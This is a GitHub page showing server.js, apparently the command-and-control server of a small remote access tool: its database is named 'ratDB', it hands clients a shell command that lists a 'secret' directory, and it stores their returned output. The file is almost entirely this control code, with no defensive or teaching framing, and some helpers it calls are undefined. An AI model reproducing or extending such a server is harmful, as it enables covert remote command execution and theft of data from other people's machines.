-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathserver.js
56 lines (45 loc) · 1.41 KB
/
server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
var app = require("express")();
var http = require("http").Server(app);
var bodyParser = require("body-parser");
var r = require("rethinkdb");
// define what my database and table are
var myDB = r.db("ratDB").table("clientResponses");
var connection = null;
app.use(bodyParser.json());
// define the command we want to execute
var command = "ls -a /home/nitrous/secret";
// listen for any gets, return the command
app.get("/api", function(req, res){
res.json({command: command});
});
// listen for any posts
app.post("/", function (req, res) {
// log out the request body
console.log(req.body);
// connect to the database
r.connect( {host: "localhost", port: 28015}, function(err, conn) {
if (err) throw err;
connection = conn;
conn.addListener("error", function(e) {
processNetworkError(e);
});
conn.addListener("close", function() {
cleanup();
});
// call insert response
insertResponse(conn);
});
// inser response from the client and the command into the database
function insertResponse() {
myDB.insert({
"Command" : command,
"Response" : req.body
}).run(connection);
};
// send a message back to the client saying the post has been received with a timestamp
res.send("Post has been received " + new Date());
})
// listen on port 3000
http.listen(3000, function(){
console.log("listening on *:3000");
});